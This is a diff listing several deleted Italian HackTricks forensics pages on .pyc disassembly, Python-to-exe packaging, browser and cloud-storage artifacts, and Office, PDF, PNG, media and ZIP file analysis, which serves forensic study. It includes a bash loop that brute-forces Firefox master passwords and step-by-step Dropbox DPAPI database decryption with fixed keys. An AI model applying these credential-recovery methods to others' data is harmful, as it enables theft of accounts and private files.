Se non sei riuscito a estrarre il codice "originale" di python seguendo i passaggi precedenti, allora puoi provare a **estrarre** l'**assembly** (ma **non è molto descrittivo**, quindi **prova** a estrarre **di nuovo** il codice originale). In [qui](https://bits.theorem.co/protecting-a-python-codebase/) ho trovato un codice molto semplice per **disassemblare** il binario _.pyc_ (buona fortuna a capire il flusso del codice). Se il _.pyc_ è di python2, usa python2:
```bash
>>> import dis
>>> import marshal
>>> import struct
>>> import imp
>>>
>>> with open('hello.pyc', 'r') as f: # Read the binary file
... magic = f.read(4)
... timestamp = f.read(4)
... code = f.read()
...
>>>
>>> # Unpack the structured content and un-marshal the code
>>> magic = struct.unpack('<H', magic[:2])
>>> timestamp = struct.unpack('<I', timestamp)
>>> code = marshal.loads(code)
>>> magic, timestamp, code
((62211,), (1425911959,), <code object <module> at 0x7fd54f90d5b0, file "hello.py", line 1>)
>>>
>>> # Verify if the magic number corresponds with the current python version
>>> struct.unpack('<H', imp.get_magic()[:2]) == magic
True
>>>
>>> # Disassemble the code object
>>> dis.disassemble(code)
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
3 MAKE_FUNCTION 0
6 STORE_NAME 0 (hello_world)
9 LOAD_CONST 1 (None)
12 RETURN_VALUE
>>>
>>> # Also disassemble that const being loaded (our function)
>>> dis.disassemble(code.co_consts[0])
2 0 LOAD_CONST 1 ('Hello {0}')
3 LOAD_ATTR 0 (format)
6 LOAD_FAST 0 (name)
9 CALL_FUNCTION 1
12 PRINT_ITEM
13 PRINT_NEWLINE
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
```
## Python in Eseguibile
Per iniziare, ti mostreremo come i payload possono essere compilati in py2exe e PyInstaller.
### Per creare un payload utilizzando py2exe:
1. Installa il pacchetto py2exe da [http://www.py2exe.org/](http://www.py2exe.org)
2. Per il payload (in questo caso, lo chiameremo hello.py), utilizza uno script come quello nella Figura 1. L'opzione “bundle_files” con il valore di 1 raggrupperà tutto, incluso l'interprete Python, in un unico exe.
3. Una volta che lo script è pronto, emetteremo il comando “python setup.py py2exe”. Questo creerà l'eseguibile, proprio come nella Figura 2.
```python
from distutils.core import setup
import py2exe, sys, os
sys.argv.append('py2exe')
setup(
options = {'py2exe': {'bundle_files': 1}},
#windows = [{'script': "hello.py"}],
console = [{'script': "hello.py"}],
zipfile = None,
)
```
```bash
C:\Users\test\Desktop\test>python setup.py py2exe
running py2exe
*** searching for required modules ***
*** parsing results ***
*** finding dlls needed ***
*** create binaries ***
*** byte compile python files ***
*** copy extensions ***
*** copy dlls ***
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
### Per creare un payload utilizzando PyInstaller:
1. Installa PyInstaller usando pip (pip install pyinstaller).
2. Dopo di che, emetteremo il comando “pyinstaller –onefile hello.py” (un promemoria che ‘hello.py’ è il nostro payload). Questo raggrupperà tutto in un unico eseguibile.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
108 INFO: Python: 2.7.14
108 INFO: Platform: Windows-10-10.0.16299
………………………………
5967 INFO: checking EXE
5967 INFO: Building EXE because out00-EXE.toc is non existent
5982 INFO: Building EXE from out00-EXE.toc
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
```
## Riferimenti
- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
{{#include ../../../banners/hacktricks-training.md}}

41
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md
View File

@ -1,41 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Qui puoi trovare trucchi interessanti per tipi di file specifici e/o software:
{{#ref}}
.pyc.md
{{#endref}}
{{#ref}}
browser-artifacts.md
{{#endref}}
{{#ref}}
desofuscation-vbs-cscript.exe.md
{{#endref}}
{{#ref}}
local-cloud-storage.md
{{#endref}}
{{#ref}}
office-file-analysis.md
{{#endref}}
{{#ref}}
pdf-file-analysis.md
{{#endref}}
{{#ref}}
png-tricks.md
{{#endref}}
{{#ref}}
video-and-audio-file-analysis.md
{{#endref}}
{{#ref}}
zips-tricks.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

162
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
View File

@ -1,162 +0,0 @@
# Browser Artifacts
{{#include ../../../banners/hacktricks-training.md}}
## Browser Artifacts <a href="#id-3def" id="id-3def"></a>
Gli artefatti del browser includono vari tipi di dati memorizzati dai browser web, come la cronologia di navigazione, i segnalibri e i dati della cache. Questi artefatti sono conservati in cartelle specifiche all'interno del sistema operativo, che differiscono per posizione e nome tra i browser, ma generalmente memorizzano tipi di dati simili.
Ecco un riepilogo degli artefatti del browser più comuni:
- **Cronologia di Navigazione**: Tiene traccia delle visite degli utenti ai siti web, utile per identificare le visite a siti malevoli.
- **Dati di Autocompletamento**: Suggerimenti basati su ricerche frequenti, offrendo informazioni quando combinati con la cronologia di navigazione.
- **Segnalibri**: Siti salvati dall'utente per un accesso rapido.
- **Estensioni e Componenti Aggiuntivi**: Estensioni del browser o componenti aggiuntivi installati dall'utente.
- **Cache**: Memorizza contenuti web (ad es., immagini, file JavaScript) per migliorare i tempi di caricamento dei siti web, prezioso per l'analisi forense.
- **Accessi**: Credenziali di accesso memorizzate.
- **Favicons**: Icone associate ai siti web, che appaiono nelle schede e nei segnalibri, utili per ulteriori informazioni sulle visite degli utenti.
- **Sessioni del Browser**: Dati relativi alle sessioni del browser aperte.
- **Download**: Registrazioni dei file scaricati tramite il browser.
- **Dati dei Moduli**: Informazioni inserite nei moduli web, salvate per future suggerimenti di autocompletamento.
- **Miniature**: Immagini di anteprima dei siti web.
- **Custom Dictionary.txt**: Parole aggiunte dall'utente al dizionario del browser.
## Firefox
Firefox organizza i dati degli utenti all'interno dei profili, memorizzati in posizioni specifiche in base al sistema operativo:
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Un file `profiles.ini` all'interno di queste directory elenca i profili utente. I dati di ciascun profilo sono memorizzati in una cartella nominata nella variabile `Path` all'interno di `profiles.ini`, situata nella stessa directory di `profiles.ini` stesso. Se la cartella di un profilo è mancante, potrebbe essere stata eliminata.
All'interno di ciascuna cartella del profilo, puoi trovare diversi file importanti:
- **places.sqlite**: Memorizza cronologia, segnalibri e download. Strumenti come [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) su Windows possono accedere ai dati della cronologia.
- Usa query SQL specifiche per estrarre informazioni sulla cronologia e sui download.
- **bookmarkbackups**: Contiene backup dei segnalibri.
- **formhistory.sqlite**: Memorizza i dati dei moduli web.
- **handlers.json**: Gestisce i gestori di protocollo.
- **persdict.dat**: Parole del dizionario personalizzato.
- **addons.json** e **extensions.sqlite**: Informazioni su componenti aggiuntivi e estensioni installati.
- **cookies.sqlite**: Memorizzazione dei cookie, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponibile per l'ispezione su Windows.
- **cache2/entries** o **startupCache**: Dati della cache, accessibili tramite strumenti come [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **favicons.sqlite**: Memorizza i favicons.
- **prefs.js**: Impostazioni e preferenze dell'utente.
- **downloads.sqlite**: Database dei download più vecchi, ora integrato in places.sqlite.
- **thumbnails**: Miniature dei siti web.
- **logins.json**: Informazioni di accesso crittografate.
- **key4.db** o **key3.db**: Memorizza le chiavi di crittografia per proteggere informazioni sensibili.
Inoltre, controllare le impostazioni anti-phishing del browser può essere fatto cercando le voci `browser.safebrowsing` in `prefs.js`, che indicano se le funzionalità di navigazione sicura sono attivate o disattivate.
Per provare a decrittare la password principale, puoi usare [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
Con il seguente script e chiamata puoi specificare un file di password da forzare:
```bash:brute.sh
#!/bin/bash
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
passfile=$1
while read pass; do
echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py
done < $passfile
```
![](<../../../images/image (417).png>)
## Google Chrome
Google Chrome memorizza i profili utente in posizioni specifiche in base al sistema operativo:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
All'interno di queste directory, la maggior parte dei dati utente può essere trovata nelle cartelle **Default/** o **ChromeDefaultData/**. I seguenti file contengono dati significativi:
- **History**: Contiene URL, download e parole chiave di ricerca. Su Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) può essere utilizzato per leggere la cronologia. La colonna "Transition Type" ha vari significati, inclusi i clic dell'utente su link, URL digitati, invii di moduli e ricariche di pagina.
- **Cookies**: Memorizza i cookie. Per l'ispezione, è disponibile [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
- **Cache**: Contiene dati memorizzati nella cache. Per ispezionare, gli utenti Windows possono utilizzare [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
- **Bookmarks**: Segnalibri dell'utente.
- **Web Data**: Contiene la cronologia dei moduli.
- **Favicons**: Memorizza le favicon dei siti web.
- **Login Data**: Include le credenziali di accesso come nomi utente e password.
- **Current Session**/**Current Tabs**: Dati sulla sessione di navigazione attuale e sulle schede aperte.
- **Last Session**/**Last Tabs**: Informazioni sui siti attivi durante l'ultima sessione prima che Chrome fosse chiuso.
- **Extensions**: Directory per le estensioni e gli addon del browser.
- **Thumbnails**: Memorizza le miniature dei siti web.
- **Preferences**: Un file ricco di informazioni, incluse le impostazioni per plugin, estensioni, pop-up, notifiche e altro.
- **Browser’s built-in anti-phishing**: Per controllare se la protezione anti-phishing e malware è attivata, eseguire `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Cercare `{"enabled: true,"}` nell'output.
## **Recupero Dati SQLite DB**
Come puoi osservare nelle sezioni precedenti, sia Chrome che Firefox utilizzano database **SQLite** per memorizzare i dati. È possibile **recuperare voci eliminate utilizzando lo strumento** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
Internet Explorer 11 gestisce i propri dati e metadati in diverse posizioni, aiutando a separare le informazioni memorizzate e i relativi dettagli per un facile accesso e gestione.
### Archiviazione dei Metadati
I metadati per Internet Explorer sono memorizzati in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (con VX che può essere V01, V16 o V24). Insieme a questo, il file `V01.log` potrebbe mostrare discrepanze nei tempi di modifica con `WebcacheVX.data`, indicando la necessità di riparazione utilizzando `esentutl /r V01 /d`. Questi metadati, contenuti in un database ESE, possono essere recuperati e ispezionati utilizzando strumenti come photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), rispettivamente. All'interno della tabella **Containers**, è possibile discernere le specifiche tabelle o contenitori in cui è memorizzato ciascun segmento di dati, inclusi i dettagli della cache per altri strumenti Microsoft come Skype.
### Ispezione della Cache
Lo strumento [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) consente l'ispezione della cache, richiedendo la posizione della cartella di estrazione dei dati della cache. I metadati per la cache includono nome del file, directory, conteggio degli accessi, origine URL e timestamp che indicano i tempi di creazione, accesso, modifica e scadenza della cache.
### Gestione dei Cookie
I cookie possono essere esplorati utilizzando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadati che comprendono nomi, URL, conteggi di accesso e vari dettagli temporali. I cookie persistenti sono memorizzati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mentre i cookie di sessione risiedono in memoria.
### Dettagli dei Download
I metadati dei download sono accessibili tramite [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), con contenitori specifici che contengono dati come URL, tipo di file e posizione di download. I file fisici possono essere trovati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Cronologia di Navigazione
Per rivedere la cronologia di navigazione, è possibile utilizzare [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), richiedendo la posizione dei file di cronologia estratti e la configurazione per Internet Explorer. I metadati qui includono i tempi di modifica e accesso, insieme ai conteggi di accesso. I file di cronologia si trovano in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### URL Digitati
Gli URL digitati e i loro tempi di utilizzo sono memorizzati nel registro sotto `NTUSER.DAT` in `Software\Microsoft\InternetExplorer\TypedURLs` e `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracciando gli ultimi 50 URL inseriti dall'utente e i loro ultimi tempi di input.
## Microsoft Edge
Microsoft Edge memorizza i dati utente in `%userprofile%\Appdata\Local\Packages`. I percorsi per vari tipi di dati sono:
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
I dati di Safari sono memorizzati in `/Users/$User/Library/Safari`. I file chiave includono:
- **History.db**: Contiene le tabelle `history_visits` e `history_items` con URL e timestamp delle visite. Usa `sqlite3` per interrogare.
- **Downloads.plist**: Informazioni sui file scaricati.
- **Bookmarks.plist**: Memorizza gli URL dei segnalibri.
- **TopSites.plist**: Siti più visitati.
- **Extensions.plist**: Elenco delle estensioni del browser Safari. Usa `plutil` o `pluginkit` per recuperare.
- **UserNotificationPermissions.plist**: Domini autorizzati a inviare notifiche. Usa `plutil` per analizzare.
- **LastSession.plist**: Schede dell'ultima sessione. Usa `plutil` per analizzare.
- **Browser’s built-in anti-phishing**: Controlla utilizzando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una risposta di 1 indica che la funzione è attiva.
## Opera
I dati di Opera risiedono in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` e condividono il formato di Chrome per cronologia e download.
- **Browser’s built-in anti-phishing**: Verifica controllando se `fraud_protection_enabled` nel file Preferences è impostato su `true` utilizzando `grep`.
Questi percorsi e comandi sono cruciali per accedere e comprendere i dati di navigazione memorizzati dai diversi browser web.
## Riferimenti
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
- **Libro: OS X Incident Response: Scripting and Analysis Di Jaron Bradley pag 123**
{{#include ../../../banners/hacktricks-training.md}}

42
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md
View File

@ -1,42 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Alcune cose che potrebbero essere utili per eseguire il debug/deobfuscate un file VBS malevolo:
## echo
```bash
Wscript.Echo "Like this?"
```
## Commenti
```bash
' this is a comment
```
## Test
```bash
cscript.exe file.vbs
```
## Scrivere dati in un file
```js
Function writeBinary(strBinary, strPath)
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
' below lines purpose: checks that write access is possible!
Dim oTxtStream
On Error Resume Next
Set oTxtStream = oFSO.createTextFile(strPath)
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
On Error GoTo 0
Set oTxtStream = Nothing
' end check of write access
With oFSO.createTextFile(strPath)
.Write(strBinary)
.Close
End With
End Function
```
{{#include ../../../banners/hacktricks-training.md}}

97
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
View File

@ -1,97 +0,0 @@
# Local Cloud Storage
{{#include ../../../banners/hacktricks-training.md}}
## OneDrive
In Windows, puoi trovare la cartella OneDrive in `\Users\<username>\AppData\Local\Microsoft\OneDrive`. E all'interno di `logs\Personal` è possibile trovare il file `SyncDiagnostics.log` che contiene alcuni dati interessanti riguardo ai file sincronizzati:
- Dimensione in byte
- Data di creazione
- Data di modifica
- Numero di file nel cloud
- Numero di file nella cartella
- **CID**: ID univoco dell'utente OneDrive
- Tempo di generazione del report
- Dimensione dell'HD del sistema operativo
Una volta trovato il CID, è consigliato **cercare file contenenti questo ID**. Potresti essere in grado di trovare file con il nome: _**\<CID>.ini**_ e _**\<CID>.dat**_ che potrebbero contenere informazioni interessanti come i nomi dei file sincronizzati con OneDrive.
## Google Drive
In Windows, puoi trovare la cartella principale di Google Drive in `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Questa cartella contiene un file chiamato Sync_log.log con informazioni come l'indirizzo email dell'account, nomi dei file, timestamp, hash MD5 dei file, ecc. Anche i file eliminati appaiono in quel file di log con il corrispondente MD5.
Il file **`Cloud_graph\Cloud_graph.db`** è un database sqlite che contiene la tabella **`cloud_graph_entry`**. In questa tabella puoi trovare il **nome** dei **file sincronizzati**, il tempo di modifica, la dimensione e il checksum MD5 dei file.
I dati della tabella del database **`Sync_config.db`** contengono l'indirizzo email dell'account, il percorso delle cartelle condivise e la versione di Google Drive.
## Dropbox
Dropbox utilizza **database SQLite** per gestire i file. In questo\
Puoi trovare i database nelle cartelle:
- `\Users\<username>\AppData\Local\Dropbox`
- `\Users\<username>\AppData\Local\Dropbox\Instance1`
- `\Users\<username>\AppData\Roaming\Dropbox`
E i database principali sono:
- Sigstore.dbx
- Filecache.dbx
- Deleted.dbx
- Config.dbx
L'estensione ".dbx" significa che i **database** sono **criptati**. Dropbox utilizza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN>))
Per comprendere meglio la crittografia che utilizza Dropbox, puoi leggere [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Tuttavia, le informazioni principali sono:
- **Entropy**: d114a55212655f74bd772e37e64aee9b
- **Salt**: 0D638C092E8B82FC452883F95F355B8E
- **Algorithm**: PBKDF2
- **Iterations**: 1066
A parte queste informazioni, per decriptare i database hai ancora bisogno di:
- La **chiave DPAPI criptata**: Puoi trovarla nel registro all'interno di `NTUSER.DAT\Software\Dropbox\ks\client` (esporta questi dati come binari)
- I rami **`SYSTEM`** e **`SECURITY`**
- Le **chiavi master DPAPI**: Che possono essere trovate in `\Users\<username>\AppData\Roaming\Microsoft\Protect`
- Il **nome utente** e la **password** dell'utente Windows
Poi puoi usare lo strumento [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
![](<../../../images/image (448).png>)
Se tutto va come previsto, lo strumento indicherà la **chiave primaria** che devi **usare per recuperare quella originale**. Per recuperare quella originale, usa semplicemente questa [cyber_chef receipt](<https://gchq.github.io/CyberChef/index.html#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) mettendo la chiave primaria come "passphrase" all'interno della ricetta.
L'hex risultante è la chiave finale utilizzata per criptare i database che può essere decriptata con:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
Il **`config.dbx`** database contiene:
- **Email**: L'email dell'utente
- **usernamedisplayname**: Il nome dell'utente
- **dropbox_path**: Percorso dove si trova la cartella dropbox
- **Host_id: Hash** utilizzato per autenticarsi nel cloud. Questo può essere revocato solo dal web.
- **Root_ns**: Identificatore dell'utente
Il **`filecache.db`** database contiene informazioni su tutti i file e le cartelle sincronizzati con Dropbox. La tabella `File_journal` è quella con più informazioni utili:
- **Server_path**: Percorso dove si trova il file all'interno del server (questo percorso è preceduto dal `host_id` del client).
- **local_sjid**: Versione del file
- **local_mtime**: Data di modifica
- **local_ctime**: Data di creazione
Altre tabelle all'interno di questo database contengono informazioni più interessanti:
- **block_cache**: hash di tutti i file e le cartelle di Dropbox
- **block_ref**: Collega l'ID hash della tabella `block_cache` con l'ID file nella tabella `file_journal`
- **mount_table**: Cartelle condivise di dropbox
- **deleted_fields**: File eliminati da Dropbox
- **date_added**
{{#include ../../../banners/hacktricks-training.md}}

18
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
View File

@ -1,18 +0,0 @@
# Analisi dei file Office
{{#include ../../../banners/hacktricks-training.md}}
Per ulteriori informazioni controlla [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Questo è solo un riassunto:
Microsoft ha creato molti formati di documenti office, con due tipi principali che sono i **formati OLE** (come RTF, DOC, XLS, PPT) e i **formati Office Open XML (OOXML)** (come DOCX, XLSX, PPTX). Questi formati possono includere macro, rendendoli obiettivi per phishing e malware. I file OOXML sono strutturati come contenitori zip, consentendo l'ispezione tramite decompressione, rivelando la gerarchia di file e cartelle e i contenuti dei file XML.
Per esplorare le strutture dei file OOXML, viene fornito il comando per decomprimere un documento e la struttura di output. Tecniche per nascondere dati in questi file sono state documentate, indicando un'innovazione continua nella dissimulazione dei dati all'interno delle sfide CTF.
Per l'analisi, **oletools** e **OfficeDissector** offrono set di strumenti completi per esaminare sia i documenti OLE che OOXML. Questi strumenti aiutano a identificare e analizzare le macro incorporate, che spesso fungono da vettori per la consegna di malware, tipicamente scaricando ed eseguendo payload dannosi aggiuntivi. L'analisi delle macro VBA può essere condotta senza Microsoft Office utilizzando Libre Office, che consente il debug con punti di interruzione e variabili di osservazione.
L'installazione e l'uso di **oletools** sono semplici, con comandi forniti per l'installazione tramite pip e l'estrazione di macro dai documenti. L'esecuzione automatica delle macro è attivata da funzioni come `AutoOpen`, `AutoExec` o `Document_Open`.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
{{#include ../../../banners/hacktricks-training.md}}

20
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
View File

@ -1,20 +0,0 @@
# Analisi dei file PDF
{{#include ../../../banners/hacktricks-training.md}}
**Per ulteriori dettagli controlla:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
Il formato PDF è noto per la sua complessità e il potenziale di nascondere dati, rendendolo un punto focale per le sfide forensi CTF. Combina elementi di testo semplice con oggetti binari, che potrebbero essere compressi o crittografati, e può includere script in linguaggi come JavaScript o Flash. Per comprendere la struttura del PDF, si può fare riferimento al [materiale introduttivo di Didier Stevens](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), o utilizzare strumenti come un editor di testo o un editor specifico per PDF come Origami.
Per un'esplorazione o manipolazione approfondita dei PDF, sono disponibili strumenti come [qpdf](https://github.com/qpdf/qpdf) e [Origami](https://github.com/mobmewireless/origami-pdf). I dati nascosti all'interno dei PDF potrebbero essere celati in:
- Livelli invisibili
- Formato di metadati XMP di Adobe
- Generazioni incrementali
- Testo dello stesso colore dello sfondo
- Testo dietro immagini o immagini sovrapposte
- Commenti non visualizzati
Per un'analisi personalizzata dei PDF, si possono utilizzare librerie Python come [PeepDF](https://github.com/jesparza/peepdf) per creare script di parsing su misura. Inoltre, il potenziale del PDF per la memorizzazione di dati nascosti è così vasto che risorse come la guida della NSA sui rischi e le contromisure dei PDF, sebbene non più ospitata nella sua posizione originale, offrono ancora preziose informazioni. Una [copia della guida](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) e una raccolta di [trucchi sul formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) di Ange Albertini possono fornire ulteriori letture sull'argomento.
{{#include ../../../banners/hacktricks-training.md}}

9
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md
View File

@ -1,9 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
I file **PNG** sono molto apprezzati nelle **sfide CTF** per la loro **compressione senza perdita**, rendendoli ideali per incorporare dati nascosti. Strumenti come **Wireshark** consentono l'analisi dei file PNG dissecando i loro dati all'interno dei pacchetti di rete, rivelando informazioni incorporate o anomalie.
Per controllare l'integrità dei file PNG e riparare la corruzione, **pngcheck** è uno strumento cruciale, che offre funzionalità da riga di comando per convalidare e diagnosticare i file PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Quando i file sono oltre semplici riparazioni, servizi online come [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) forniscono una soluzione web per **riparare PNG corrotti**, aiutando nel recupero di dati cruciali per i partecipanti al CTF.
Queste strategie sottolineano l'importanza di un approccio completo nei CTF, utilizzando un mix di strumenti analitici e tecniche di riparazione per scoprire e recuperare dati nascosti o persi.
{{#include ../../../banners/hacktricks-training.md}}

17
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md
View File

@ -1,17 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
**La manipolazione di file audio e video** è un elemento fondamentale nelle **sfide forensi CTF**, sfruttando **steganografia** e analisi dei metadati per nascondere o rivelare messaggi segreti. Strumenti come **[mediainfo](https://mediaarea.net/en/MediaInfo)** e **`exiftool`** sono essenziali per ispezionare i metadati dei file e identificare i tipi di contenuto.
Per le sfide audio, **[Audacity](http://www.audacityteam.org/)** si distingue come uno strumento principale per visualizzare forme d'onda e analizzare spettrogrammi, essenziali per scoprire testi codificati nell'audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** è altamente raccomandato per un'analisi dettagliata degli spettrogrammi. **Audacity** consente la manipolazione audio come rallentare o invertire tracce per rilevare messaggi nascosti. **[Sox](http://sox.sourceforge.net/)**, un'utilità da riga di comando, eccelle nella conversione e modifica di file audio.
La manipolazione dei **Bit meno significativi (LSB)** è una tecnica comune nella steganografia audio e video, sfruttando i chunk di dimensioni fisse dei file multimediali per incorporare dati in modo discreto. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** è utile per decodificare messaggi nascosti come **toni DTMF** o **codice Morse**.
Le sfide video spesso coinvolgono formati contenitore che raggruppano flussi audio e video. **[FFmpeg](http://ffmpeg.org/)** è il punto di riferimento per analizzare e manipolare questi formati, capace di demultiplexare e riprodurre contenuti. Per gli sviluppatori, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integra le capacità di FFmpeg in Python per interazioni avanzate scriptabili.
Questa gamma di strumenti sottolinea la versatilità richiesta nelle sfide CTF, dove i partecipanti devono impiegare un ampio spettro di tecniche di analisi e manipolazione per scoprire dati nascosti all'interno di file audio e video.
## Riferimenti
- [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
{{#include ../../../banners/hacktricks-training.md}}

21
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
View File

@ -1,21 +0,0 @@
# ZIPs tricks
{{#include ../../../banners/hacktricks-training.md}}
**Strumenti da riga di comando** per gestire **file zip** sono essenziali per diagnosticare, riparare e decifrare file zip. Ecco alcune utilità chiave:
- **`unzip`**: Rivela perché un file zip potrebbe non decomprimersi.
- **`zipdetails -v`**: Offre un'analisi dettagliata dei campi del formato del file zip.
- **`zipinfo`**: Elenca i contenuti di un file zip senza estrarli.
- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Tentano di riparare file zip corrotti.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uno strumento per il cracking a forza bruta delle password zip, efficace per password fino a circa 7 caratteri.
La [specifica del formato del file Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornisce dettagli completi sulla struttura e sugli standard dei file zip.
È cruciale notare che i file zip protetti da password **non criptano i nomi dei file o le dimensioni dei file** al loro interno, un difetto di sicurezza non condiviso con i file RAR o 7z che criptano queste informazioni. Inoltre, i file zip criptati con il metodo più vecchio ZipCrypto sono vulnerabili a un **attacco in chiaro** se è disponibile una copia non criptata di un file compresso. Questo attacco sfrutta il contenuto noto per decifrare la password del zip, una vulnerabilità dettagliata nell'[articolo di HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e ulteriormente spiegata in [questo documento accademico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Tuttavia, i file zip protetti con crittografia **AES-256** sono immuni a questo attacco in chiaro, dimostrando l'importanza di scegliere metodi di crittografia sicuri per dati sensibili.
## References
- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
{{#include ../../../banners/hacktricks-training.md}}

498
